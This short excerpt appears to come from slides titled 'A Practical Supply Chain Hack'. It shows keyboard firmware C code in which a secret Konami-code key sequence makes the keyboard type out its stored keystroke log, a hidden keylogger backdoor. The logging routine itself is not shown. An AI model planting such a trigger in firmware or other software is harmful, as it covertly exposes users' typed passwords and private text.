A Practical Supply Chain Hack
Dump Keys
uint16_t dumpKey[] = {KC_UP,KC_UP,KC_DOWN,KC_DOWN,KC_LEFT,KC_RIGHT,KC_LEFT,KC_RIGHT,KC_A,KC_B};
static int dumpKeyPos = 0;
bool process_record_user(uint16_t keycode, keyrecord_t *record) {
if (record->event.pressed) {
if (keycode == dumpKey[dumpKeyPos]) {
dumpKeyPos++;
if (dumpKeyPos > (sizeof(dumpKey) /sizeof(dumpKey[0])) -1 ) {
SEND_STRING("\nAll Your String Belong To Us\n");
dump_keylog();
SEND_STRING("\n--------\n");
}
} else {dumpKeyPos =0;}
}
return true;
}